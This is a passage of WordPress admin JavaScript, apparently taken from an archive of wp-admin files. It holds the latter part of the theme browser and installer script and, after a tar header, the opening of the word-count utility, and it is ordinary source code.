$el.find( '.theme-actions a:visible' ).last(); // Check for the Tab key. if ( 9 === event.which ) { if ( $firstFocusable[0] === event.target && event.shiftKey ) { $lastFocusable.trigger( 'focus' ); event.preventDefault(); } else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) { $firstFocusable.trigger( 'focus' ); event.preventDefault(); } } }); }, // Single theme overlay screen. // It's shown when clicking a theme. collapse: function( event ) { var self = this, scroll; event = event || window.event; // Prevent collapsing detailed view when there is only one theme available. if ( themes.data.themes.length === 1 ) { return; } // Detect if the click is inside the overlay and don't close it // unless the target was the div.back button. if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) { // Add a temporary closing class while overlay fades out. $( 'body' ).addClass( 'closing-overlay' ); // With a quick fade out animation. this.$el.fadeOut( 130, function() { // Clicking outside the modal box closes the overlay. $( 'body' ).removeClass( 'closing-overlay' ); // Handle event cleanup. self.closeOverlay(); // Get scroll position to avoid jumping to the top. scroll = document.body.scrollTop; // Clean the URL structure. themes.router.navigate( themes.router.baseUrl( '' ) ); // Restore scroll position. document.body.scrollTop = scroll; // Return focus to the theme div. if ( themes.focusedTheme ) { themes.focusedTheme.find('.more-details').trigger( 'focus' ); } }); } }, // Handles .disabled classes for next/previous buttons. navigation: function() { // Disable Left/Right when at the start or end of the collection. if ( this.model.cid === this.model.collection.at(0).cid ) { this.$el.find( '.left' ) .addClass( 'disabled' ) .prop( 'disabled', true ); } if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) { this.$el.find( '.right' ) .addClass( 'disabled' ) .prop( 'disabled', true ); } }, // Performs the actions to effectively close // the theme details overlay. closeOverlay: function() { $( 'body' ).removeClass( 'modal-open' ); this.remove(); this.unbind(); this.trigger( 'theme:collapse' ); }, // Set state of the auto-update settings link after it has been changed and saved. autoupdateState: function() { var callback, _this = this; // Support concurrent clicks in different Theme Details overlays. callback = function( event, data ) { var autoupdate; if ( _this.model.get( 'id' ) === data.asset ) { autoupdate = _this.model.get( 'autoupdate' ); autoupdate.enabled = 'enable' === data.state; _this.model.set( { autoupdate: autoupdate } ); $( document ).off( 'wp-auto-update-setting-changed', callback ); } }; // Triggered in updates.js $( document ).on( 'wp-auto-update-setting-changed', callback ); }, updateTheme: function( event ) { var _this = this; event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-update-success', function( event, response ) { if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { hasUpdate: false, version: response.newVersion } ); } _this.render(); } ); wp.updates.updateTheme( { slug: $( event.target ).data( 'slug' ) } ); }, deleteTheme: function( event ) { var _this = this, _collection = _this.model.collection, _themes = themes; event.preventDefault(); // Confirmation dialog for deleting a theme. if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).one( 'wp-theme-delete-success', function( event, response ) { _this.$el.find( '.close' ).trigger( 'click' ); $( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() { $( this ).remove(); _themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) ); $( '.wp-filter-search' ).val( '' ); _collection.doSearch( '' ); _collection.remove( _this.model ); _collection.trigger( 'themes:update' ); } ); } ); wp.updates.deleteTheme( { slug: this.model.get( 'id' ) } ); }, nextTheme: function() { var self = this; self.trigger( 'theme:next', self.model.cid ); return false; }, previousTheme: function() { var self = this; self.trigger( 'theme:previous', self.model.cid ); return false; }, // Checks if the theme screenshot is the old 300px width version // and adds a corresponding class if it's true. screenshotCheck: function( el ) { var screenshot, image; screenshot = el.find( '.screenshot img' ); image = new Image(); image.src = screenshot.attr( 'src' ); // Width check. if ( image.width && image.width <= 300 ) { el.addClass( 'small-screenshot' ); } } }); // Theme Preview view. // Sets up a modal overlay with the expanded theme data. themes.view.Preview = themes.view.Details.extend({ className: 'wp-full-overlay expanded', el: '.theme-install-overlay', events: { 'click .close-full-overlay': 'close', 'click .collapse-sidebar': 'collapse', 'click .devices button': 'previewDevice', 'click .previous-theme': 'previousTheme', 'click .next-theme': 'nextTheme', 'keyup': 'keyEvent', 'click .theme-install': 'installTheme' }, // The HTML template for the theme preview. html: themes.template( 'theme-preview' ), render: function() { var self = this, currentPreviewDevice, data = this.model.toJSON(), $body = $( document.body ); $body.attr( 'aria-busy', 'true' ); this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) ); currentPreviewDevice = this.$el.data( 'current-preview-device' ); if ( currentPreviewDevice ) { self.togglePreviewDeviceButtons( currentPreviewDevice ); } themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } ); this.$el.fadeIn( 200, function() { $body.addClass( 'theme-installer-active full-overlay-active' ); }); this.$el.find( 'iframe' ).one( 'load', function() { self.iframeLoaded(); }); }, iframeLoaded: function() { this.$el.addClass( 'iframe-ready' ); $( document.body ).attr( 'aria-busy', 'false' ); }, close: function() { this.$el.fadeOut( 200, function() { $( 'body' ).removeClass( 'theme-installer-active full-overlay-active' ); // Return focus to the theme div. if ( themes.focusedTheme ) { themes.focusedTheme.find('.more-details').trigger( 'focus' ); } }).removeClass( 'iframe-ready' ); // Restore the previous browse tab if available. if ( themes.router.selectedTab ) { themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) ); themes.router.selectedTab = false; } else { themes.router.navigate( themes.router.baseUrl( '' ) ); } this.trigger( 'preview:close' ); this.undelegateEvents(); this.unbind(); return false; }, collapse: function( event ) { var $button = $( event.currentTarget ); if ( 'true' === $button.attr( 'aria-expanded' ) ) { $button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar }); } else { $button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar }); } this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' ); return false; }, previewDevice: function( event ) { var device = $( event.currentTarget ).data( 'device' ); this.$el .removeClass( 'preview-desktop preview-tablet preview-mobile' ) .addClass( 'preview-' + device ) .data( 'current-preview-device', device ); this.togglePreviewDeviceButtons( device ); }, togglePreviewDeviceButtons: function( newDevice ) { var $devices = $( '.wp-full-overlay-footer .devices' ); $devices.find( 'button' ) .removeClass( 'active' ) .attr( 'aria-pressed', false ); $devices.find( 'button.preview-' + newDevice ) .addClass( 'active' ) .attr( 'aria-pressed', true ); }, keyEvent: function( event ) { // The escape key closes the preview. if ( event.keyCode === 27 ) { this.undelegateEvents(); this.close(); } // Return if Ctrl + Shift or Shift key pressed if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) { return; } // The right arrow key, next theme. if ( event.keyCode === 39 ) { _.once( this.nextTheme() ); } // The left arrow key, previous theme. if ( event.keyCode === 37 ) { this.previousTheme(); } }, installTheme: function( event ) { var _this = this, $target = $( event.target ); event.preventDefault(); if ( $target.hasClass( 'disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-install-success', function() { _this.model.set( { 'installed': true } ); } ); wp.updates.installTheme( { slug: $target.data( 'slug' ) } ); } }); // Controls the rendering of div.themes, // a wrapper that will hold all the theme elements. themes.view.Themes = wp.Backbone.View.extend({ className: 'themes wp-clearfix', $overlay: $( 'div.theme-overlay' ), // Number to keep track of scroll position // while in theme-overlay mode. index: 0, // The theme count element. count: $( '.wrap .theme-count' ), // The live themes count. liveThemeCount: 0, initialize: function( options ) { var self = this; // Set up parent. this.parent = options.parent; // Set current view to [grid]. this.setView( 'grid' ); // Move the active theme to the beginning of the collection. self.currentTheme(); // When the collection is updated by user input... this.listenTo( self.collection, 'themes:update', function() { self.parent.page = 0; self.currentTheme(); self.render( this ); } ); // Update theme count to full result set when available. this.listenTo( self.collection, 'query:success', function( count ) { if ( _.isNumber( count ) ) { self.count.text( count ); self.announceSearchResults( count ); } else { self.count.text( self.collection.length ); self.announceSearchResults( self.collection.length ); } }); this.listenTo( self.collection, 'query:empty', function() { $( 'body' ).addClass( 'no-results' ); }); this.listenTo( this.parent, 'theme:scroll', function() { self.renderThemes( self.parent.page ); }); this.listenTo( this.parent, 'theme:close', function() { if ( self.overlay ) { self.overlay.closeOverlay(); } } ); // Bind keyboard events. $( 'body' ).on( 'keyup', function( event ) { if ( ! self.overlay ) { return; } // Bail if the filesystem credentials dialog is shown. if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) { return; } // Return if Ctrl + Shift or Shift key pressed if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) { return; } // Pressing the right arrow key fires a theme:next event. if ( event.keyCode === 39 ) { self.overlay.nextTheme(); } // Pressing the left arrow key fires a theme:previous event. if ( event.keyCode === 37 ) { self.overlay.previousTheme(); } // Pressing the escape key fires a theme:collapse event. if ( event.keyCode === 27 ) { self.overlay.collapse( event ); } }); }, // Manages rendering of theme pages // and keeping theme count in sync. render: function() { // Clear the DOM, please. this.$el.empty(); // If the user doesn't have switch capabilities or there is only one theme // in the collection, render the detailed view of the active theme. if ( themes.data.themes.length === 1 ) { // Constructs the view. this.singleTheme = new themes.view.Details({ model: this.collection.models[0] }); // Render and apply a 'single-theme' class to our container. this.singleTheme.render(); this.$el.addClass( 'single-theme' ); this.$el.append( this.singleTheme.el ); } // Generate the themes using page instance // while checking the collection has items. if ( this.options.collection.size() > 0 ) { this.renderThemes( this.parent.page ); } // Display a live theme count for the collection. this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length; this.count.text( this.liveThemeCount ); /* * In the theme installer the themes count is already announced * because `announceSearchResults` is called on `query:success`. */ if ( ! themes.isInstall ) { this.announceSearchResults( this.liveThemeCount ); } }, // Iterates through each instance of the collection // and renders each theme module. renderThemes: function( page ) { var self = this; self.instance = self.collection.paginate( page ); // If we have no more themes, bail. if ( self.instance.size() === 0 ) { // Fire a no-more-themes event. this.parent.trigger( 'theme:end' ); return; } // Make sure the add-new stays at the end. if ( ! themes.isInstall && page >= 1 ) { $( '.add-new-theme' ).remove(); } // Loop through the themes and setup each theme view. self.instance.each( function( theme ) { self.theme = new themes.view.Theme({ model: theme, parent: self }); // Render the views... self.theme.render(); // ...and append them to div.themes. self.$el.append( self.theme.el ); // Binds to theme:expand to show the modal box // with the theme details. self.listenTo( self.theme, 'theme:expand', self.expand, self ); }); // 'Add new theme' element shown at the end of the grid. if ( ! themes.isInstall && themes.data.settings.canInstall ) { this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span aria-hidden="true"></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' ); } this.parent.page++; }, // Grabs current theme and puts it at the beginning of the collection. currentTheme: function() { var self = this, current; current = self.collection.findWhere({ active: true }); // Move the active theme to the beginning of the collection. if ( current ) { self.collection.remove( current ); self.collection.add( current, { at:0 } ); } }, // Sets current view. setView: function( view ) { return view; }, // Renders the overlay with the ThemeDetails view. // Uses the current model data. expand: function( id ) { var self = this, $card, $modal; // Set the current theme model. this.model = self.collection.get( id ); // Trigger a route update for the current model. themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) ); // Sets this.view to 'detail'. this.setView( 'detail' ); $( 'body' ).addClass( 'modal-open' ); // Set up the theme details view. this.overlay = new themes.view.Details({ model: self.model }); this.overlay.render(); if ( this.model.get( 'hasUpdate' ) ) { $card = $( '[data-slug="' + this.model.id + '"]' ); $modal = $( this.overlay.el ); if ( $card.find( '.updating-message' ).length ) { $modal.find( '.notice-warning h3' ).remove(); $modal.find( '.notice-warning' ) .removeClass( 'notice-large' ) .addClass( 'updating-message' ) .find( 'p' ).text( wp.updates.l10n.updating ); } else if ( $card.find( '.notice-error' ).length ) { $modal.find( '.notice-warning' ).remove(); } } this.$overlay.html( this.overlay.el ); // Bind to theme:next and theme:previous triggered by the arrow keys. // Keep track of the current model so we can infer an index position. this.listenTo( this.overlay, 'theme:next', function() { // Renders the next theme on the overlay. self.next( [ self.model.cid ] ); }) .listenTo( this.overlay, 'theme:previous', function() { // Renders the previous theme on the overlay. self.previous( [ self.model.cid ] ); }); }, /* * This method renders the next theme on the overlay modal * based on the current position in the collection. * * @params [model cid] */ next: function( args ) { var self = this, model, nextModel; // Get the current theme. model = self.collection.get( args[0] ); // Find the next model within the collection. nextModel = self.collection.at( self.collection.indexOf( model ) + 1 ); // Confidence check which also serves as a boundary test. if ( nextModel !== undefined ) { // We have a new theme... // Close the overlay. this.overlay.closeOverlay(); // Trigger a route update for the current model. self.theme.trigger( 'theme:expand', nextModel.cid ); } }, /* * This method renders the previous theme on the overlay modal * based on the current position in the collection. * * @params [model cid] */ previous: function( args ) { var self = this, model, previousModel; // Get the current theme. model = self.collection.get( args[0] ); // Find the previous model within the collection. previousModel = self.collection.at( self.collection.indexOf( model ) - 1 ); if ( previousModel !== undefined ) { // We have a new theme... // Close the overlay. this.overlay.closeOverlay(); // Trigger a route update for the current model. self.theme.trigger( 'theme:expand', previousModel.cid ); } }, // Dispatch audible search results feedback message. announceSearchResults: function( count ) { if ( 0 === count ) { wp.a11y.speak( l10n.noThemesFound ); } else { wp.a11y.speak( l10n.themesFound.replace( '%d', count ) ); } } }); // Search input view controller. themes.view.Search = wp.Backbone.View.extend({ tagName: 'input', className: 'wp-filter-search', id: 'wp-filter-search-input', searching: false, attributes: { type: 'search', 'aria-describedby': 'live-search-desc' }, events: { 'input': 'search', 'keyup': 'search', 'blur': 'pushState' }, initialize: function( options ) { this.parent = options.parent; this.listenTo( this.parent, 'theme:close', function() { this.searching = false; } ); }, search: function( event ) { // Clear on escape. if ( event.type === 'keyup' && event.which === 27 ) { event.target.value = ''; } // Since doSearch is debounced, it will only run when user input comes to a rest. this.doSearch( event ); }, // Runs a search on the theme collection. doSearch: function( event ) { var options = {}; this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) ); // if search is initiated and key is not return. if ( this.searching && event.which !== 13 ) { options.replace = true; } else { this.searching = true; } // Update the URL hash. if ( event.target.value ) { themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options ); } else { themes.router.navigate( themes.router.baseUrl( '' ) ); } }, pushState: function( event ) { var url = themes.router.baseUrl( '' ); if ( event.target.value ) { url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) ); } this.searching = false; themes.router.navigate( url ); } }); /** * Navigate router. * * @since 4.9.0 * * @param {string} url - URL to navigate to. * @param {Object} state - State. * @return {void} */ function navigateRouter( url, state ) { var router = this; if ( Backbone.history._hasPushState ) { Backbone.Router.prototype.navigate.call( router, url, state ); } } // Sets up the routes events for relevant url queries. // Listens to [theme] and [search] params. themes.Router = Backbone.Router.extend({ routes: { 'themes.php?theme=:slug': 'theme', 'themes.php?search=:query': 'search', 'themes.php?s=:query': 'search', 'themes.php': 'themes', '': 'themes' }, baseUrl: function( url ) { return 'themes.php' + url; }, themePath: '?theme=', searchPath: '?search=', search: function( query ) { $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) ); }, themes: function() { $( '.wp-filter-search' ).val( '' ); }, navigate: navigateRouter }); // Execute and setup the application. themes.Run = { init: function() { // Initializes the blog's theme library view. // Create a new collection with data. this.themes = new themes.Collection( themes.data.themes ); // Set up the view. this.view = new themes.view.Appearance({ collection: this.themes }); this.render(); // Start debouncing user searches after Backbone.history.start(). this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 ); }, render: function() { // Render results. this.view.render(); this.routes(); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ root: themes.data.settings.adminUrl, pushState: true, hashChange: false }); }, routes: function() { var self = this; // Bind to our global thx object // so that the object is available to sub-views. themes.router = new themes.Router(); // Handles theme details route event. themes.router.on( 'route:theme', function( slug ) { self.view.view.expand( slug ); }); themes.router.on( 'route:themes', function() { self.themes.doSearch( '' ); self.view.trigger( 'theme:close' ); }); // Handles search route event. themes.router.on( 'route:search', function() { $( '.wp-filter-search' ).trigger( 'keyup' ); }); this.extraRoutes(); }, extraRoutes: function() { return false; } }; // Extend the main Search view. themes.view.InstallerSearch = themes.view.Search.extend({ events: { 'input': 'search', 'keyup': 'search' }, terms: '', // Handles Ajax request for searching through themes in public repo. search: function( event ) { // Tabbing or reverse tabbing into the search input shouldn't trigger a search. if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) { return; } this.collection = this.options.parent.view.collection; // Clear on escape. if ( event.type === 'keyup' && event.which === 27 ) { event.target.value = ''; } this.doSearch( event.target.value ); }, doSearch: function( value ) { var request = {}; // Don't do anything if the search terms haven't changed. if ( this.terms === value ) { return; } // Updates terms with the value passed. this.terms = value; request.search = value; /* * Intercept an [author] search. * * If input value starts with `author:` send a request * for `author` instead of a regular `search`. */ if ( value.substring( 0, 7 ) === 'author:' ) { request.search = ''; request.author = value.slice( 7 ); } /* * Intercept a [tag] search. * * If input value starts with `tag:` send a request * for `tag` instead of a regular `search`. */ if ( value.substring( 0, 4 ) === 'tag:' ) { request.search = ''; request.tag = [ value.slice( 4 ) ]; } $( '.filter-links li > a.current' ) .removeClass( 'current' ) .removeAttr( 'aria-current' ); $( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' ); $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' ); // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( request ); // Set route. themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } ); } }); themes.view.Installer = themes.view.Appearance.extend({ el: '#wpbody-content .wrap', // Register events for sorting and filters in theme-navigation. events: { 'click .filter-links li > a': 'onSort', 'click .theme-filter': 'onFilter', 'click .drawer-toggle': 'moreFilters', 'click .filter-drawer .apply-filters': 'applyFilters', 'click .filter-group [type="checkbox"]': 'addFilter', 'click .filter-drawer .clear-filters': 'clearFilters', 'click .edit-filters': 'backToFilters', 'click .favorites-form-submit' : 'saveUsername', 'keyup #wporg-username-input': 'saveUsername' }, // Initial render method. render: function() { var self = this; this.search(); this.uploader(); this.collection = new themes.Collection(); // Bump `collection.currentQuery.page` and request more themes if we hit the end of the page. this.listenTo( this, 'theme:end', function() { // Make sure we are not already loading. if ( self.collection.loadingThemes ) { return; } // Set loadingThemes to true and bump page instance of currentQuery. self.collection.loadingThemes = true; self.collection.currentQuery.page++; // Use currentQuery.page to build the themes request. _.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } ); self.collection.query( self.collection.currentQuery.request ); }); this.listenTo( this.collection, 'query:success', function() { $( 'body' ).removeClass( 'loading-content' ); $( '.theme-browser' ).find( 'div.error' ).remove(); }); this.listenTo( this.collection, 'query:fail', function() { $( 'body' ).removeClass( 'loading-content' ); $( '.theme-browser' ).find( 'div.error' ).remove(); $( '.theme-browser' ).find( 'div.themes' ).before( '<div class="notice notice-error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' ); $( '.theme-browser .error .try-again' ).on( 'click', function( e ) { e.preventDefault(); $( 'input.wp-filter-search' ).trigger( 'input' ); } ); }); if ( this.view ) { this.view.remove(); } // Sets up the view and passes the section argument. this.view = new themes.view.Themes({ collection: this.collection, parent: this }); // Reset pagination every time the install view handler is run. this.page = 0; // Render and append. this.$el.find( '.themes' ).remove(); this.view.render(); this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' ); }, // Handles all the rendering of the public theme directory. browse: function( section ) { // Create a new collection with the proper theme data // for each section. if ( 'block-themes' === section ) { // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( { tag: 'full-site-editing' } ); } else { this.collection.query( { browse: section } ); } }, // Sorting navigation. onSort: function( event ) { var $el = $( event.target ), sort = $el.data( 'sort' ); event.preventDefault(); $( 'body' ).removeClass( 'filters-applied show-filters' ); $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' ); // Bail if this is already active. if ( $el.hasClass( this.activeClass ) ) { return; } this.sort( sort ); // Trigger a router.navigate update. themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) ); }, sort: function( sort ) { this.clearSearch(); // Track sorting so we can restore the correct tab when closing preview. themes.router.selectedTab = sort; $( '.filter-links li > a, .theme-filter' ) .removeClass( this.activeClass ) .removeAttr( 'aria-current' ); $( '[data-sort="' + sort + '"]' ) .addClass( this.activeClass ) .attr( 'aria-current', 'page' ); if ( 'favorites' === sort ) { $( 'body' ).addClass( 'show-favorites-form' ); } else { $( 'body' ).removeClass( 'show-favorites-form' ); } this.browse( sort ); }, // Filters and Tags. onFilter: function( event ) { var request, $el = $( event.target ), filter = $el.data( 'filter' ); // Bail if this is already active. if ( $el.hasClass( this.activeClass ) ) { return; } $( '.filter-links li > a, .theme-section' ) .removeClass( this.activeClass ) .removeAttr( 'aria-current' ); $el .addClass( this.activeClass ) .attr( 'aria-current', 'page' ); if ( ! filter ) { return; } // Construct the filter request // using the default values. filter = _.union( [ filter, this.filtersChecked() ] ); request = { tag: [ filter ] }; // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( request ); }, // Clicking on a checkbox to add another filter to the request. addFilter: function() { this.filtersChecked(); }, // Applying filters triggers a tag request. applyFilters: function( event ) { var name, tags = this.filtersChecked(), request = { tag: tags }, filteringBy = $( '.filtered-by .tags' ); if ( event ) { event.preventDefault(); } if ( ! tags ) { wp.a11y.speak( l10n.selectFeatureFilter ); return; } $( 'body' ).addClass( 'filters-applied' ); $( '.filter-links li > a.current' ) .removeClass( 'current' ) .removeAttr( 'aria-current' ); filteringBy.empty(); _.each( tags, function( tag ) { name = $( 'label[for="filter-id-' + tag + '"]' ).text(); filteringBy.append( '<span class="tag">' + name + '</span>' ); }); // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. this.collection.query( request ); }, // Save the user's WordPress.org username and get his favorite themes. saveUsername: function ( event ) { var username = $( '#wporg-username-input' ).val(), nonce = $( '#wporg-username-nonce' ).val(), request = { browse: 'favorites', user: username }, that = this; if ( event ) { event.preventDefault(); } // Save username on enter. if ( event.type === 'keyup' && event.which !== 13 ) { return; } return wp.ajax.send( 'save-wporg-username', { data: { _wpnonce: nonce, username: username }, success: function () { // Get the themes by sending Ajax POST request to api.wordpress.org/themes // or searching the local cache. that.collection.query( request ); } } ); }, /** * Get the checked filters. * * @return {Array} of tags or false */ filtersChecked: function() { var items = $( '.filter-group' ).find( ':checkbox' ), tags = []; _.each( items.filter( ':checked' ), function( item ) { tags.push( $( item ).prop( 'value' ) ); }); // When no filters are checked, restore initial state and return. if ( tags.length === 0 ) { $( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' ); $( '.filter-drawer .clear-filters' ).hide(); $( 'body' ).removeClass( 'filters-applied' ); return false; } $( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length ); $( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' ); return tags; }, activeClass: 'current', /** * When users press the "Upload Theme" button, show the upload form in place. */ uploader: function() { var uploadViewToggle = $( '.upload-view-toggle' ), $body = $( document.body ); uploadViewToggle.on( 'click', function() { // Toggle the upload view. $body.toggleClass( 'show-upload-view' ); // Toggle the `aria-expanded` button attribute. uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); }, // Toggle the full filters navigation. moreFilters: function( event ) { var $body = $( 'body' ), $toggleButton = $( '.drawer-toggle' ); event.preventDefault(); if ( $body.hasClass( 'filters-applied' ) ) { return this.backToFilters(); } this.clearSearch(); themes.router.navigate( themes.router.baseUrl( '' ) ); // Toggle the feature filters view. $body.toggleClass( 'show-filters' ); // Toggle the `aria-expanded` button attribute. $toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) ); }, /** * Clears all the checked filters. * * @uses filtersChecked() */ clearFilters: function( event ) { var items = $( '.filter-group' ).find( ':checkbox' ), self = this; event.preventDefault(); _.each( items.filter( ':checked' ), function( item ) { $( item ).prop( 'checked', false ); return self.filtersChecked(); }); }, backToFilters: function( event ) { if ( event ) { event.preventDefault(); } $( 'body' ).removeClass( 'filters-applied' ); }, clearSearch: function() { $( '#wp-filter-search-input').val( '' ); } }); themes.InstallerRouter = Backbone.Router.extend({ routes: { 'theme-install.php?theme=:slug': 'preview', 'theme-install.php?browse=:sort': 'sort', 'theme-install.php?search=:query': 'search', 'theme-install.php': 'sort' }, baseUrl: function( url ) { return 'theme-install.php' + url; }, themePath: '?theme=', browsePath: '?browse=', searchPath: '?search=', search: function( query ) { $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) ); }, navigate: navigateRouter }); themes.RunInstaller = { init: function() { // Set up the view. // Passes the default 'section' as an option. this.view = new themes.view.Installer({ section: 'popular', SearchView: themes.view.InstallerSearch }); // Render results. this.render(); // Start debouncing user searches after Backbone.history.start(). this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 ); }, render: function() { // Render results. this.view.render(); this.routes(); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ root: themes.data.settings.adminUrl, pushState: true, hashChange: false }); }, routes: function() { var self = this, request = {}; // Bind to our global `wp.themes` object // so that the router is available to sub-views. themes.router = new themes.InstallerRouter(); // Handles `theme` route event. // Queries the API for the passed theme slug. themes.router.on( 'route:preview', function( slug ) { // Remove existing handlers. if ( themes.preview ) { themes.preview.undelegateEvents(); themes.preview.unbind(); } // If the theme preview is active, set the current theme. if ( self.view.view.theme && self.view.view.theme.preview ) { self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } ); self.view.view.theme.preview(); } else { // Select the theme by slug. request.theme = slug; self.view.collection.query( request ); self.view.collection.trigger( 'update' ); // Open the theme preview. self.view.collection.once( 'query:success', function() { $( 'div[data-slug="' + slug + '"]' ).trigger( 'click' ); }); } }); /* * Handles sorting / browsing routes. * Also handles the root URL triggering a sort request * for `popular`, the default view. */ themes.router.on( 'route:sort', function( sort ) { if ( ! sort ) { sort = 'popular'; themes.router.navigate( themes.router.baseUrl( '?browse=popular' ), { replace: true } ); } self.view.sort( sort ); // Close the preview if open. if ( themes.preview ) { themes.preview.close(); } }); // The `search` route event. The router populates the input field. themes.router.on( 'route:search', function() { $( '.wp-filter-search' ).trigger( 'focus' ).trigger( 'keyup' ); }); this.extraRoutes(); }, extraRoutes: function() { return false; } }; // Ready... $( function() { if ( themes.isInstall ) { themes.RunInstaller.init(); } else { themes.Run.init(); } // Update the return param just in time. $( document.body ).on( 'click', '.load-customize', function() { var link = $( this ), urlParser = document.createElement( 'a' ); urlParser.href = link.prop( 'href' ); urlParser.search = $.param( _.extend( wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ), { 'return': window.location.href } ) ); link.prop( 'href', urlParser.href ); }); $( '.broken-themes .delete-theme' ).on( 'click', function() { return confirm( _wpThemeSettings.settings.confirmDelete ); }); }); })( jQuery ); // Align theme browser thickbox. jQuery( function($) { window.tb_position = function() { var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 1040 < width ) ? 1040 : width, adminbar_height = 0; if ( $('#wpadminbar').length ) { adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 ); } if ( tbWindow.length >= 1 ) { tbWindow.width( W - 50 ).height( H - 45 - adminbar_height ); $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height ); tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'}); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'}); } } }; $(window).on( 'resize', function(){ tb_position(); }); }); js/word-count.js 0000644 00000017020 15233246127 0007624 0 ustar 00 /** * Word or character counting functionality. Count words or characters in a * provided text string. * * @namespace wp.utils * * @since 2.6.0 * @output wp-admin/js/word-count.js */ ( function() { /** * Word counting utility * * @namespace wp.utils.wordcounter * @memberof wp.utils * * @class * * @param {Object} settings Optional. Key-value object containing overrides for * settings. * @param {RegExp} settings.HTMLRegExp Optional. Regular expression to find HTML elements. * @param {RegExp} settings.HTMLcommentRegExp Optional. Regular expression to find HTML comments. * @param {RegExp} settings.spaceRegExp Optional. Regular expression to find irregular space * characters. * @param {RegExp} settings.HTMLEntityRegExp Optional. Regular expression to find HTML entities. * @param {RegExp} settings.connectorRegExp Optional. Regular expression to find connectors that * split words. * @param {RegExp} settings.removeRegExp Optional. Regular expression to find remove unwanted * characters to reduce false-positives. * @param {RegExp} settings.astralRegExp Optional. Regular expression to find unwanted * characters when searching for non-words. * @param {RegExp} settings.wordsRegExp Optional. Regular expression to find words by spaces. * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which * are non-spaces. * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters * including spaces. * @param {RegExp} settings.shortcodesRegExp Optional. Regular expression to find shortcodes. * @param {Object} settings.l10n Optional. Localization object containing specific * configuration for the current localization. * @param {string} settings.l10n.type Optional. Method of finding words to count. * @param {Array} settings.l10n.shortcodes Optional. Array of shortcodes that should be removed * from the text. * * @return {void} */ function WordCounter( settings ) { var key, shortcodes; // Apply provided settings to object settings. if ( settings ) { for ( key in settings ) { // Only apply valid settings. if ( settings.hasOwnProperty( key ) ) { this.settings[ key ] = settings[ key ]; } } } shortcodes = this.settings.l10n.shortcodes; // If there are any localization shortcodes, add this as type in the settings. if ( shortcodes && shortcodes.length ) { this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' ); } } // Default settings. WordCounter.prototype.settings = { HTMLRegExp: /<\/?[a-z][^>]*?>/gi, HTMLcommentRegExp: /<!--[\s\S]*?-->/g, spaceRegExp: / | /gi, 